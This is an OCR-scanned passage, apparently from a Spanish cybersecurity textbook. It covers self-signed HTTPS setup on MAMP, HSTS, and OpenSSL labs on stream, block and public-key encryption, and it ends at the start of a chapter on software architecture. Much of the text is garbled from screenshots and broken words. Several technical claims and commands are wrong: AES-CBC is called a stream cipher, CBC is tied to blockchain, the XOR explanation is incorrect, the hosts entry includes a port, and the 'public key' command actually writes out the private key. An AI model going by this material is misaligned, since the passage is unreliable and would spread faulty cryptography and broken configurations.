http://blog.lukesampson.com/sudo-for-windows 


Con el editor nano, abrimos el archivo hosts. Aquí vemos un registro DNS con la 
dirección IP para el nombre de dominio localhost. 


Se debe agregar aquí un nuevo registro DNS con el nombre de dominio de 
prueba videoBox. Las tres líneas marcadas forman el nuevo registro DNS. Video- 
Box es el nombre de la aplicación web que desarrollaremos en el último capítulo. 
Crear el nuevo registro DNS, como se muestra en la siguiente figura: 
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000 nano « sudo — 80x17 
GNU nano 2.0.6 File: /etc/hosts 

E 

# Host Database 

# 


# localhost is used to configure the loopback interface 
# when the system is booting. Do not change this entry. 


## 

127.0.0.1 localhost 
255.255.255.255 broadcasthost 
212 localhost 


127.0.0.1:443  www.videobox.nl 
255.255.255.255 broadcasthost 
3E WWW. videobox.nl 


Me Get Help Write0ut [Mi Read File MY Prev Page fx Cut Text Wò Cur Pos 
i Exit Justify Ay Where Is MY Next Page MY UnCut Texti To Spell 
Figura 3.4 Nuevo registro DNS 


# Se usa localhost para configurar la interfaz looback cuando el sistema está arran- 
cando. No se debe cambiar esta entrada. 


HA 


Guardar el archivo con Ctrl-O 
Cerrar con Ctrl-X 


Paso 2: Hacer respaldos 
En este paso, es preciso hacer respaldos de los siguientes archivos de configura- 


ción ya que los vamos a editar. En el sistema operativo OS de Mac se encuentran 
en las siguientes carpetas: 


MAMP/conf/apache/httpd.conf 
MAMP/conf/apache/extra/httpd-ssl.conf 
Si es necesario, detener el servidor Apache. 


Paso 3: Generar una clave autofirmada 

Para implementar HTTPS en tu propio servidor local, generamos una clave auto- 
firmada. Para esto usamos el programa openSSL, mismo que se puede descargar 
desde el sitio web: 

https://www.openssl.org/ 

Dicho programa quizás ya esté instalado en tu laptop. 


Abre tu ventana de terminal y haz lo siguiente: 


$ openssl genrsa -des3 -out videobox.key 1024 
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En este proceso se escribe la misma contraseña las dos veces que se indica y guár- 
dala para los pasos siguientes. 


El resultado es la clave videobox.key en tu carpeta de usuarios. 
Paso 4: Genera una solicitud de certificado 
Una solicitud de certificado se denomina Certificate Signing Request (solicitud de 
firma de certificación o CSR). La siguiente tabla complementa la información sobre 


la compañía que solicita el certificado. 


Tabla 3.1 Solicitud de certificado SSL 


Campo Significado Ejemplo 
Ciudad/Pueblo/Localidad Ubicación de la organización Ámsterdam 
Estado/Provincia Ubicación de la provincia Holanda del Norte 
Organización Nombre de la organización VideoBox S.A. 
Unidad Departamento ICT 
Nombre común Nombre del host wwwwideobox.nl 


Código de país de dos letras 


Nombre del país (ISO) NL 
Correo electrónico Del administrador del servidor adminOvideobox.nl 
Contraseña Déjelo vacío 
Nombre extra Déjelo vacío 
Longitud de bits Al menos 2048 2048 


Se puede solicitar una certificación oficial en línea de una autoridad. Por ejemplo, 
a través del siguiente enlace: 


http://mx.godard.com/Certificados 

En nuestro caso, queremos generar un certificado autofirmado con fines de prueba. 
Esto significa que podemos dejar toda la información en el formulario en blanco, ex- 
cepto el nombre común. Tecleamos nuestro nombre de dominio: www.videobox.nl 
y se genera un certificado autofirmado de la siguiente manera: 


Abre la ventana de la terminal y haz lo siguiente: 


$ openssl req -new -key videobox.key -out videobox.csr 
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Usa la misma contraseña que en el paso 3. El resultado es la solicitud de videobox. 
csr que está en la carpeta de usuarios. 


Para simplificar los procesos eliminamos la contraseña en videobox.key de la 
siguiente manera: 


$ cp videobox.key videobox .tmp 

y luego: 

$ openssl rsa -in videobox.tmp -out videobox.key 
Paso 5: Genera un certificado 


Se crea el certificado (videobox.crt) con la solicitud (videobox.csr) y la clave (video- 
box.key) de la siguiente manera: 


$ openssl x509 -req -days 365 -in videobox.csr -signkey videobox. 
key -out videobox.crt 


Usa la misma contraseña que en el paso 3. El resultado es el certificado videobox. 
crt está en la carpeta de usuarios. 


Mueve la clave y certifícala según tu propia configuración, en la de MAMP ha- 
cemos lo siguiente: 


$ cp videobox.crt /applications/mamp/conf/apache/videobox.crt 
$ cp videobox.key /applications/mamp/conf/apache/videobox.key 


También podemos simplemente copiar y pegar estos archivos. 

Paso 6: Cambios en httpd.conf 

El último paso es cambiar una serie de reglas en los archivos de configuración. 
En el archivo httpd.conf cambia el renglón Listen de la siguiente manera: 


Listen 8888 
Listen 80 


Cambia el renglón ServerName: 


FServerName localhost:8888 
ServerName localhost:80 
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En la sección de conexiones seguras agrega el archivo httpd-ssl.conf de la 
siguiente manera: 


# Secure (SSL/TLS) connections 
Include /Applications/MAMP/conf/apache/extra/httpd-ssl.conf 


Paso 7: Cambios en httpd-ssl.conf 
El archivo httpd-ssl.conf también debe configurarse. 
Cambia el renglón Listen (Escuchar): 


flisten 443 
Listen [::]:443 
Listen 0.0.0.0:443 


Cambia el renglón <VirtualHost>: 


44 SSL Virtual Host Context 

< VirtualHost * :443> 

# General setup for the virtual host 
DocumentRoot “/Applications/MAMP/Library/htdocs” 
ServerName www.videobox.nl :443 

ServerAdmin adminevideobox.nl 


Configura SSLEngine y consulta el certificado y clave: 


# Enable/Disable SSL for this virtual host. 

SSLEngine on 

# Server Certificate: 

SSLCertifi cateFile “/Applications/MAMP/conf/apache/videobox.crt” 

# Server Private Key: 

SSLCertifi cateKeyFile “/Applications/MAMP/conf/apache/videobox.key” 


Paso 8: Configuración del navegador 


El certificado no es oficial, sino autofirmado y no se encuentra en la lista de los 
certificados del navegador. En este paso: 


+ Veala configuración avanzada del navegador. Haz clic sobre Privacidad y 


seguridad. 
+ Haz clic en Ver certificados. Puedes ver esto en la siguiente figura: 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 


Â Alfaomega 3.2 HTTPS y SSL 


ECON ++ > > E 


€>C0 © Firefox  about:preferencesttpri 120% y| Q Buscar mr o0 = 


T$ Most Visited ED Getting Stated Hf Meest bezocht $ Aan de slag MB xs4au webmail @ Gabriel Sanchez Ca.. @ nren- Snole duid » 
Encontrar en configuraciones 


wt Certificados 


a Seleccionar uno automáticamente 


d E e Solicitar cada vez 


ca Consultar servidores de respuesta OCSP para (2) Ver certificados... 


v 


> confirmar la validez actual de los certificados Dispositivos de seguridad... 


Cuando un servidor te pide tu certificado personal 


Figura 3.5 Configuración avanzada 


En lo sucesivo, importa el certificado de la organización (www.videobox.nl) 
al navegador: 


+ Haz clic en Autoridades. 
+ Luego haz clic en Importar. 


Administrador de certificados Xx 


Sus certificados Personas 1) Autoridades Otros 


Tienes certificados en el archivo que identifican a las siguientes autoridades de certificación 


Nombre del certificado Dispositivo de segundad aa 

Chambers of Commerce Root - 2008 Builtin Object Token 
Giobal Chambersiga Root - 2008 Builtin Object Token 

* AC Camerfirma SA CIF AB2743287 
Camertirma Chambers of Commerce Root Builtin Object Token 
Camertirma Global Chambersigr Root Buikin Object Token 

Y ACCV 
ACCVRAIZI Builtin Object Token 


=- ACAMPAR 


Ver Edición conf 12) Importar... Exportar Eliminar o desconfiable 


Figura 3.6 Administrador de certificados 


Aceptar 


Luego, importa el certificado videobox.crt desde la carpeta Apache: 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 49 


Capítulo 3 Criptografía Â Alfaomega 


Gm) s |Z -:- apache S ® a Q. Zoek 
Favorieten Í extra e 
A httpd.conf 
[A Al mijn besta... aani o 
(Ó iCloud Drive magic O „fi 
mime.types ertificare,, 
AÀ; Programma's 
original > 
E Googe Drive — | M MCS 
(= Bureaublad videobox. key 
[$ Documenten | 
E htdocs 
G} gsanchezcano videobox.crt 
(E) Macintosh HD 
¡Ocultar extensión | Opciones Cancelar — 


Figura 3.7 Importar un certificado 


En este último paso, puedes declarar confiable el certificado con la opción Abrir 
en tu navegador. Marca con una paloma las dos siguientes casillas de verificación: 


+ Declare confiable esta CA para identificar sitios web 
+ Declare confiable esta CA para identificar desarrolladores de software 


Administrador de certificados x 


Sele ha pedido que confíe en una nueva Autoridad Certificadora (CA). 


Tienes c: ¿Quieres confiar en "www.videonode.nl" para los siguientes propósitos? 


Nombre Contiar en esta CA para identiticar sitios web. e 
| AC cam Confiar en esta CA para identificar usuarios de correo. | 
nen 
Globi 


Antes de confiar en esta CA para cualquier propósito, debe examinar el certificado, 
política y procedimientos de la CA (si están disponibles). 


Y ACCY Ver Examinar certificado de CA 


A | Cancelar Aceptar 


Aceptar 
Figura 3.8 Cómo declarar confiable un certificado 


Ahora podemos activar HTTPS desde el navegador para ir a https: //www. 
videobox.nl 
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Ya que nuestro certificado está autofirmado, el navegador lo considera inseguro y 
nos ofrece la oportunidad de crear una excepción para este dominio. 


2s kal à — loa sE x p, 


€ a O D https: //vwew.videoboxni "0d - j Oá = 
>» 


fa Tu conexión no es segura 


El dueño de www.videobox.n! configuró incorrectamente su sitio Web. Para evitar que tu información sea 


robada, Firefox no estableció la conexión con el sitio. 


www.videobox.nl usa un certificado de seguridad no válido. 


Este certificado no es confiable porque está autofirmado. 
El certificado no es válido para el nombre www.videobox nl 


Error de código: SEC_ERROR_UNKNOWN._ISSUER 
(3) Agregar excepción.. 


Figura 3.9 Alerta de seguridad 


Ahora haz clic en el candado verde para confirmar la excepción. 


O videobox.nl/ xX 


€ Cc Q OR https: //www.videobox.n! «YX >» = 


J% Most Visited @ Getting S >» 


www.videobox.nl > 


pmall :: .. 
o La conexión no es segura l 
E Lipra > 


No tienes permitido en este sitio web ningún 


l permiso especial. 


Figura 3.10 Activación de HTTPS 


El archivo visto aquí es Applications/MAMP/Library/htdocs/videobox/index.php del 
laboratorio 2.5. Esta es la biblioteca para aplicaciones con conexiones seguras 
https. Para verificar el cifrado de nuestros datos POST, abre el Wireshark y recopila 


los paquetes de datos. 
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0.0. A Loopback: 100 
4 © aR EO Ias gs S% == 40QAQIÍ 


—E Expressicn... + 


| App y ad play filter <H/> 

lo. Time Source Destination Protocol Length Ino ĝl 
1 0.000000 231 TY TCP B8 58948 - 443 [SYN, ECN, CWR] Seq=0 Win=65535 Len=0 MSS=1. 
2 0.000076 $31 ssi TCP B8 443 - 58948 [SYN, ACK] Seq=ð Ack=1 Win=65535 Len=0 MSS=, 
3 0.000095 211 251 TCP 76 58948 -= 443 [ACK] Seq=1 Ack=1 Win=407776 Len=0 TSval=52. 
4 0.000113 $11 231 TCP 76 [TCP Window Update] 443 =- 58948 [ACK] Seq=1 Ack=1 Win=4. 

(5) 5 0.000241 S33 $112 TL5Sv1.. 313 Client Hello 
6 0.000260 911 ::1 TCP 76 443 - 58948 [ACK] Seq=1 Ack=238 Win=407552 Len=0 TSval=. 

Q 7 0.001722 241 251 TL5$v1... 951 Server Hello, Certificate, Server Key Exchange, Server . 
8 0.001757 <:1 s1 TCP 76 58948 = 443 [ACK] Seq=238 Ack=876 Win=406912 Len=0 TSva. 

© 9 0.004309 231 $31 TL5v1... 202 Client Key Exchange, Change Cipher Spec, Hello Request,. 
10 0.004355 FF. ti TCP 76 443 - 58948 [ACK] Seq=876 Ack=364 Win=407424 Len=0 TSva. 
11 0.004427 $31 331 TLSvl.. 635 Application Data 


y TLSv1.2 Record Layer: Application Data Protocol: http-over-tls 
Content Type: Application Data (23) 
Version: TLS 1.2 (0x0393) 
Length: 554 
11 Encrypted Application Data: 00000009000000019c78fdfca380570595624dd813320b79... 


Figura 3.11 Cifrado de datos en Wireshark 


+ En los paquetes de datos puedes ver cómo se ha ejecutado HTTPS 


correctamente 
En el paquete de datos 5, el navegador se conecta al servidor 


En el paquete de datos 7, el navegador recibe el certificado y la clave de www. 


videobox.nl 
En el paquete de datos 9, la clave asimétrica se intercambia con el servidor 


En el paquete de datos 11 vemos que los datos están encriptados 


3.2.4 HSTS 


HTTP Strict Transport Security (HSTS) es un mecanismo para proteger sitios web contra 
ataques y evitar el robo de cookies. Esto funciona de la siguiente manera: el servidor indi- 
ca que toda interacción con los navegadores tiene lugar con conexiones HTTPS seguras 
y nunca con el HTTP inseguro, lo cual se comunica al navegador a través del campo de 


encabezado de respuesta Strict-Transport-Security. Por ejemplo: 


Strict-Transport-Security: max-age=31536000. 


31536000 es igual a un año, que consta de 31,536,000 segundos, el periodo en que se 
guarda esta instrucción. El resultado es un enlace como: 


http://ejemplo.com/cualquier/página/ 


Libro encontrado en: WWW.eybooks.com 


que se reemplaza automáticamente por el siguiente enlace seguro: 


https://ejemplo.com/cualquier/página/ 
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3.3 + Algoritmos o cifrados 
HTTPS asegura el cifrado y descifrado de la información transmitida. Utiliza la biblioteca 
OpenSSL de algoritmos (cifrados). En esta sección, se nos presenta una serie de algorit- 
mos de encriptación en dicha biblioteca. Luego, podemos usar estos algoritmos para 
cifrar información estática, como archivos con información confidencial. 

Hay dos tipos de cifrado: cifrado en flujo y cifrado por bloque. 


3.3.1 Cifrados en flujo 


Este tipo está cifrado con clave simétrica, de esta manera encriptamos los flujos de datos 
de entrada bit a bit. Los tres componentes de los cifrados en flujo son: 


+ Generador de la clave de flujo 
+ Función de encriptado 
+ Función de desencriptado 
Los cifrados en flujo funcionan con tres datos: 
+ Texto sin formato (entrada) 
+ Clave generada 


+ Texto cifrado (salida) 


La clave se obtiene con el generador de ésta mediante una clave simétrica como entrada. 
La siguiente figura ilustra el cifrado en flujo. 


clave  — — clave 
simétrica 


texto de entrada — (+) = texto cifrado 


Figura 3.12 Cifrado en flujo 
La función de cifrado combina un byte (o más comúnmente solicitado: un elemento, que 
también puede ser un bit o una letra) del texto de entrada con un byte de la clave ge- 
nerada, lo que da como resultado un byte del texto cifrado de salida. La función es una 
operación lógica simple exclusiva o (XOR) entre los dos bytes. 


La tabla de verdad de una operación XOR se puede ver a continuación. 
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Tabla 3.2 Operación XOR 


AXORB = Salida 


Entrada Salida 
A B 
0 (0) (0) 
0 1 1 
1 0 1 
1 1 o 


En esta tabla vemos que si A es igual a B, la salida es falsa (0). 


El descifrado es el inverso del cifrado: la función combina un byte del texto cifrado 
con un byte de la clave, lo que da como resultado un byte del texto original. La fórmula 
es la siguiente: 


Byte de texto de cifrado [0] = (Byte de texto sin formato [0] Byte 
de clave XOR [0]) 


Ell Ejemplo 1 

En este ejemplo, la entrada es la letra h. Esta letra es 01101000 en código binario. Si el 
byte de la clave generada es, por ejemplo, 11001011, luego el texto de salida es (01101000 
XOR 11001011) = 10100011 Este es el signo £. 


La siguiente tabla muestra el proceso de encriptación. 


Tabla 3.3 Proceso de encriptación 


Entrada h 
Byte de entrada 0 1 1 | 0 | 1 | 0 0 | 0 
Byte de la clave 1 1 0 | (0) | 1 | 0) 1 | 1 
Byte de texto cifrado 1 0 1 | (0) | 0 | 0) 1 | 1 
Salida £ 


Aquí puedes encontrar un enlace a las conversiones de texto binario, 
hexadecimal, decimal y ASCII.: 


http://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.htm 
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Eli Ejemplo 2 


En el siguiente ejemplo, ciframos un texto de 12 bytes. Aquí mostramos los bytes hexa- 


decimales. 
Texto de entrada | h | e | l | | | (0) | | Ww | (0) | r | | | d | ! 
Clave | co | 2» | 64 | o2 | v6 | an | 59 | 4a | se | 13 | 6b | os 


Texto de salida | a3 | 4e | 08 | de | a9 | 81 | 2e | 25 | 1 | 7f | Of | 24 


LABORATORIO 3.2 Herramienta OpenSSL 2 


En esta tarea de laboratorio, practicamos con la herramienta OpenSSL. La 
sintaxis del comando OpenSSL es la siguiente: 


$ openssl enc -nombre del cifrado [options] 
Las opciones son: 

-in <f le> input fi le 

-out <fi le> output fi le 

-pass <arg> pass phrase source 

-e encrypt 

-d decrypt 


Algunos de los cifrados son los siguientes: 


Tipos de cifrados 


-aes-128-cbc -aes-128-cfb -aes-128-cfb 1 
-aes-128-cfb8 -aes-128-ecb -aes-128-ofb 
-aes-192-cbc -aes-192-cfb -aes-192-cfb 1 
-aes-192-cfb8 -aes-192-ecb -aes-192-ofb 
-aes-256-cbc -aes-256-cfb -aes-256-cfb 1 
-aes-256-cfb8 -aes-256-ecb -aes-256-ofb 
-aes128 -aes192 -aes 256 

-bf -bf-cbc -bf-cfb 
-bf-ecb -bf-ofb -blowf sh 
-cast -cast-cbc -cast5-cbc 
-cast5-cfb -cast5-ecb -cast5-ofb 
-des -des-cbc -des-cfb 


El cifrado aes-128-cbc es en flujo y se puede encontrar en la biblioteca OpenSSL. En los 
siguientes pasos se genera una clave y se encripta el texto sin formato “hello world”. Se 
hace esto desde el renglón de comando de la terminal. 
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Donde sea necesario, se dan los nombres de los comandos de Linux o Windows 
de la siguiente manera: linux/windows. Por ejemplo: Is/dir. 


Paso 1: Genera una clave, salt y un vector de inicialización (iv). Para hacer esto, 
abre la ventana de la terminal y escribe lo siguiente: 


$ openssl enc -aes-128-cbc -k secret -P -md shal 
La opción -k es para la contraseña. El resultado será algo así como: 


salt=C8035F15F90738AE 
key=9D025DA55DC260E9C74312122171322B 
iv =25DEF6BC571495841DC32F9B996F0D14 


‘key’ es la clave. ‘Salt es una forma de complicar el encriptado y, por lo tanto, de 
tener más seguridad, es el valor hash agregado a las contraseñas. Asimismo, se 
agregan bits aleatorios a dicho valor, después de lo cual se almacena el valor de 
salt. Regresaremos a ‘hash’ en el capítulo 7. 


‘v’ es un vector de inicialización, una secuencia aleatoria que se utiliza con una 
clave como inicio de la encriptación. No profundizaremos en este tema. 


Aquí hemos generado una clave de 128 bits. Para claves de 192 y 256 bits, 
usamos las siguientes opciones: 


-aes-192-cbc 
-aes-256-cbc 


Paso 2: Crear el archivo entrada.txt con el texto ‘hello world’. Usar el comando 
echo/echo de la siguiente manera: 


$ echo “hello world” > entrada.txt 
$ cat entrada.txt 
hello world 


Con el comando cat/type mostramos los contenidos del archivo entrada.txt. 


Paso 3: En este paso, cifrar el archivo entrada.txt con la clave y iv del paso 1. Hacer 
esto de la siguiente manera: 


$ openssl enc -e -aes-128-cbc 

-K 9D025DA55DC260E9C74312122171322B 

-iv 5DEF6BC571495841DC32F9B996F0D 14 
-in entrada.txt -out cifradoEnFlujo.enc 


Para encriptar se debe usar la opción -e. El resultado es el archivo cifradoEnFlujo. 
enc y se ve así, con la línea 2 como resultado de la línea 1: 
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$ cat cifradoEnFlujo.enc 
1C ?2??I??N??n?? 


Paso 4: Aquí se descifrará el archivo encriptado cifradoEnFlujo.enc. Haz esto de 
la siguiente manera: 


$ openssl enc -d -aes-128-cbc 

-K 9D025DA55DC260E9C74312122171322B 

-iv 5DEF6BC571495841DC32F9B996FOD 14 
-in cifradoEnFlujo.enc -out entradal.txt 


Para descifrar, se debe usar la opción -d. El resultado es el archivo entradal.txt. 
Para mostrar su contenido, escribe el comando cat de la siguiente manera: 


$ cat plaintext1.txt 
hello world 


Para mostrar una lista de los archivos creados, usa el comando ls/dir: 


$ ls 
entrada.txt entradal.txt cifradoEnFlujo.enc 


3.3.2 Cifrados por bloque 


Este tipo de cifrados divide los datos en bloques, cada uno de ellos está encriptado. Hay 
varias formas (en inglés: mode of operation [modo de operación]) para encriptar a través 
de cifrados por bloque. 


ECB (modo de libro de códigos electrónico): Esta forma de operación lee y encripta 


cada bloque de datos por separado mediante la misma clave. 


bloque de entrada 
hello world 


| 
| 


q%1aXI3z1$ 


bloque cifrado 


Figura 3.13 Modo de libro de códigos electrónico 
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Cadena de bloques CBC (Chain Block Chaining Mode): Este modo de operación uti- 
liza el previo bloque de cifrado para encriptar el siguiente bloque de datos en un tipo 
de proceso en cadena. 


Bloque 1 Bloque 2 


ji 


-+ 


— 


| 


Figura 3.14 Modo de encadenamiento de la de bloques 


El primer bloque se inicializa con un vector aleatorio IV. Sigue una operación lógica 
XOR, donde el bloque de datos 1se compara con IV. El resultado es verdadero cuando 
el bloque de datos 1 es igual a IV. Luego, dicho bloque se cifra con una clave simétrica. 
El cifrado genera por último un nuevo vector V apuntador para acoplarse al siguiente 
bloque el cual, al agregarse, hace que se repitan las operaciones lógicas XOR entre el 
vector V del bloque anterior y el siguiente bloque de datos. 


De esta manera es posible crear bases de datos distribuidas, como se observa en la si- 
guiente figura: 


Figura 3.15 Base de datos distribuida como una cadena de bloques 


Se observa que cada computadora es un nodo en la arquitectura de cadena de bloques, 
cada uno de los cuales tiene una copia de la base de datos (cadena de bloques). La se- 
guridad de esta arquitectura consiste en que cada vez que un nodo agrega un bloque o 
transacción, los demás verifican la validez del último vector o apuntador. Así, es imposible 
alterar o corromper los bloques o transacciones anteriores. Ejemplo de este cifrado es el 
utilizado por Bit Coin. Bit Coin es una divisa electrónica y descentralizada para intercam- 
biar bienes y servicios. 
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3.3.3 Cifrado autenticado Authenticated Encryption (AE) 


Como se indicó anteriormente, el cifrado garantiza que el texto no pueda rastrearse hasta 
el original. Luego, se mencionó el requisito de confidencialidad: sólo los usuarios verifica- 
dos pueden cifrar y descifrar. 


Otros requisitos para los algoritmos de encriptación son: 
Autenticación: La identidad del emisor y el receptor debe verificarse 
Integridad: La información en el camino no se puede corromper 


El cifrado autenticado también proporciona integridad y autenticación además de confi- 
dencialidad. 


Para AE, se usa un algoritmo que produce un Código de Autenticación de Mensaje, en 
pocas palabras MAC. Si el MAC del remitente del mensaje coincide con el del destinata- 
rio, el mensaje es auténtico. 


Los componentes en el proceso son: 


Cifrado autenticado 
+ Entrada: Texto original y clave 
+ Salida: Texto cifrado y código de autenticación de mensaje (MAC) 


Descifrado autenticado 
+ Entrada: Texto cifrado, clave, MAC 
+ Salida: Texto original o un mensaje de error cuando el MAC no pertenece al 
texto cifrado. 


La siguiente figura muestra un proceso de encriptación autenticado. 


texto original clave del 
remitente 


Algoritmo 
de CIFRADO 


hash(clave)=MAC 


texto cifrado + MAC 


Figura 3.16 Proceso de encriptación autenticado 
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La siguiente figura muestra un proceso de descifrado autenticado. 


texto cifrado + MAC E 


Algoritmo 
de CIFRADO 


hash(clave)=MAC2 


e 


Si 


texto original 


Figura 3.17 Proceso de descifrado 


3.3.4 Estándar de cifrado avanzado (AES) 


AES es un algoritmo clave simétrico con claves de 128, 192 o 256 bits, es extremadamente 
eficiente y fue desarrollado por dos criptógrafos belgas, Vincent Rijmen y Joan Daemen 
(2001). Por lo tanto, AES también se conoce como Rijndael (una contracción de ambos 
nombres), el gobierno estadounidense lo utiliza en WinZip y WinRAR. 


El algoritmo repite las siguientes cuatro funciones en iteraciones consecutivas: 


1. SubBytes 

2. Desplazar renglones 
3. Mezclar columnas 
4. Añadir clave 


Los bloques de datos de entrada tienen 128 bits de longitud. El tamaño de la clave determi- 
na el número de ‘rounds’ (iteraciones). 


Tamaño de clave (en bits) Iteraciones 
128 10 
192 12 
256 14 


Cuanto mayor sea el tamaño de la clave, más sólida será la seguridad. La siguiente figura 
ilustra los pasos del algoritmo estándar de encriptación avanzada. 
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Primera 
iteración 


Cuerpo 
(9 iteraciones) 


Última 
iteración 


Encriptado 


expansión de clave 


+ clave de iteración 


1.Subbytes 
2.Desplazar renglones 
3.Mexclar columnas 
4.+ clave de iteración 


1.Subbytes 
2.Desplazar renglones 
3.+ clave de iteración 


bloque cifrado 


Desencriptado 


bloque cifrado 


expansión de clave 


1.+ clave de iteración 
2.Desplazar renglones 
3.Subbytes 


1.+ clave de iteración 
2.Mexclar columnas 


3.Desplazar renglones 
4.Subbytes 


+ clave de iteración 


bloque descifrado 


Figura 3.18 Estándar de cifrado avanzado 


LABORATORIO 3.3 Cifrados de bloques 


2 


En este ejercicio de laboratorio, practicamos con cifrados de bloque; el de OpenSSL 


es el cifrado AES. 


Paso 1: Abre tu ventana de terminal y teclea lo siguiente: 


$ openssl enc -aes -256 -cbc 


-in entrada.txt -out cifradoDeBloque.enc 


Aquí ejecutamos el cifrado AES con una clave de 256 bits con el modo de opera- 
ción CBC. El resultado en cifradoDeBloque.enc se ve así: 


$ cat cifradoDeBloque.enc 
Salted__(-??G,04?7v=Zy2?077 


Paso 2: Ahora se desencripta el archivo cifradoDeBloque.enc. Abre tu ventana de 
terminal y teclea lo siguiente: 
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$ openssl enc -aes -256 -cbc -d 
-in cifradoDeBloque.enc -out descifrado.txt 


Con la opción -d desencriptamos cifradoDeBloque.enc en descifrado.txt. El resul- 
tado en descifrado.txt se ve así: 


$ cat descifrado. txt 
hello world 


Paso 3: Encripta una carpeta test.tar de la siguiente manera: 


$ tar cz test | openssl enc -aes-256 -cbc 
-out test.tar.gz.enc 


Paso 4: Para desencriptar la carpeta cifrada test.tar.gz.enc usamos la opción -d de 
la siguiente manera: 


$ openssl enc -aes -256 -cbc -d 
-in test.tar.gz.enc | tar xz 


LABORATORIO 3.4 Encriptado con claves públicas y secretas 2 


Realiza los siguientes pasos para un encriptado asimétrico. 
Paso 1: Genera primero una clave privada: 

$ openssl genrsa -out clave_privada.pem 1024 
Generating RSA private key, 1024 bit long modulus 
ci a a RUE a a a e a AN E 

EEE E E E E EEE FEEFFE 

e is 65537 (0x10001) 


Paso 2: Genera la clave pública usando la privada: 


$ openssl rsa -in clave_privada.pem 
-out clave_pública.pem 


Paso 3: Crea un archivo texto.txt: 
$ echo “Texto sencillo” > texto.txt 


Paso 4: Encripta texto.txt con la clave pública: 
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$ openssl rsautl -encrypt -inkey clave_pública.pem 
-in texto.txt -out encriptado. txt 


Paso 5: Muestra encriptado.txt: 


$ cat encriptado.txt 
1 t??g??C?F??3?^R}; PGD??*r&????{}?PR?X??2?* 
1&j[~fp?ðk;??;$? ??KV?W? ?7Y?? ?se$W?<x 


Paso 6: Desencripta el archivo encriptado.txt con la clave privada: 


$ openssl rsautl -decrypt -inkey clave_privada.pem 
-in encriptado.txt -out desencriptado.txt 


Paso 7: Muestra desencriptado.txt: 


$ cat desencriptado.txt 
Texto sencillo 


3.3.5 Otras herramientas de cifrado 


Hay muchas herramientas de cifrado disponibles en Internet; dos de los más popula- 
res son: 


+ Twofish 
+ VeraCrypt 


Twofish 


Twofish es gratuito y una de las herramientas de cifrado más rápidas. Se utiliza ampliamen- 
te para el comercio electrónico y para asegurar contraseñas y pagos. Los algoritmos usan 
claves simétricas de 256 bits. Se puede descargar esta herramienta desde el siguiente 
sitio web: 


https://www.schneier.com/academic/twofish/ 


VeraCrypt 


VeraCrypt también es de fuente abierta y se utiliza para el cifrado en tiempo real, es decir, 
el cifrado se lleva a cabo automáticamente cuando se llaman o almacenan los datos. Con 
VeraCrypt es posible encriptar un disco o partición; utiliza el XTS (una forma específica 
de cifrado de bloques que también se usa por ejemplo en BitLocker de Windows 10) en 
modo operativo para mantener la confidencialidad y autenticidad. Se puede descargar 
esta herramienta desde el siguiente sitio web: 
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https://veracrypt.codeplex.com/ 


LABORATORIO 3.5 Encriptar con Twofish o VeraCrypt 2 


En este laboratorio se encriptará un archivo en Word utilizando Twofish o 
VeraCript. 
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Arquitectura 
de software 


Objetivos de aprendizaje 


Al final de este capítulo, deberás tener conocimientos sobre los 
siguientes temas: 


Los componentes de arquitectura de software 

Los diagramas de arquitectura UML 

Los patrones de arquitectura de software 

Los requisitos de seguridad de la arquitectura de software 
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4.1 +» Introducción 


Encontramos la mayoría de las vulnerabilidades de software en arquitecturas defectuo- 
sas. Para comprender mejor los errores en el diseño de los mismos, primero tenemos que 
contemplar las diferentes arquitecturas con miras a la seguridad. 


La arquitectura de software es la estructura de un sistema e incluye los componentes 
del sistema y las interconexiones entre ellos. 


Elegir la arquitectura correcta es importante, en parte porque es el punto de partida 
para el diseño, la implementación y la reutilización de los componentes. Una elección 
incorrecta en la fase inicial puede tener consecuencias de gran alcance y la reparación 
suele ser muy costosa. 


Durante la generación de una arquitectura, el diseñador deberá tener en cuenta as- 
pectos como la flexibilidad, la adaptabilidad y la mantenibilidad del sistema para man- 
tener satisfechas a las diversas partes interesadas (stakeholders). Estas partes son, por 
ejemplo, el cliente, los usuarios, los programadores y el propio arquitecto, quienes a 
menudo tienen intereses encontrados. 


Los arquitectos de software documentan las estructuras en diferentes vistas o diagra- 
mas. Una vista representa una serie de elementos arquitectónicos desde la perspectiva 
de los interesados. 


La estructura de los sistemas de software a menudo es extremadamente compleja: 
un sistema de este tipo puede consistir en millones de renglones de código de progra- 
ma, compuestos de múltiples elementos que deben colaborar de diferentes maneras y 
operar en una configuración distribuida. Los requisitos impuestos a este tipo de sistemas, 
como el corto tiempo de lanzamiento al mercado, la fiabilidad y solidez extremas o las 
restricciones severas en tiempo real, son desafíos que deben tenerse en cuenta desde 
el principio. 


La arquitectura de software es la disciplina que se ocupa de la descripción y el aná- 
lisis de un sistema con la ayuda de modelos para satisfacer el conjunto de requisitos (a 
menudo contradictorios) que se han formulado sobre la base de las preocupaciones e in- 
tereses de las partes interesadas. Un error de estimación en el diseño inicial puede tener 
consecuencias de gran alcance y desastrosas para el éxito de un proyecto de software. 


4.2 + Diagramas UML 


El UML (Unified Modelling Language o lenguaje unificado de modelado) es de modelado 
visual y es ampliamente utilizado en la práctica. En este libro se supone que ya has traba- 
jado con UML anteriormente y, por lo tanto, sólo se ofrece un breve resumen con énfasis 
en los aspectos de seguridad. 
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4.2.1 Diagrama de componentes UML 


Los componentes son los bloques de construcción de un sistema y consisten en elemen- 

tos como clases u objetos, los cuales a su vez colaboran para realizar una funcionalidad 

o servicio específico. En esta sección se estudian los diagramas de arquitectura UML. 
Los componentes pueden ser servicios, clientes, servidores o dispositivos con otras 


funcionalidades. En la siguiente figura, se observan los elementos básicos del diagrama 
de componentes. 


Componente 


Puerto 


Interfaz 


L] 
—K Clavija 
—(O 


ssacosos > Corriente de datos 


Figura 4.1 Elementos básicos del diagrama de componentes 


Interfaces y conectores 


En el siguiente diagrama se observa un componente con conectores de interfaz: el re- 
dondo es la interfaz del componente y el abierto es el conector enchufable. Con estos 
conectores podemos hacer conexiones con otros componentes. 


interfaz 
componente 
clavija 


Figura 4.2 Componente con conectores 


En el siguiente diagrama se observan dos componentes conectados a la interfaz de 
“conexión de base de datos”. La relación entre los dos componentes viene dada por la 
interfaz, misma que describe cómo éstos se unen. 
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conexión con la base de datos 


Autenticación ——( ----- p MA Usuarios 


dependencia 


Figura 4.3 Dos componentes conectados 


Dependencia 


La flecha en la figura anterior ----> señala que el componente Autenticación tiene una 


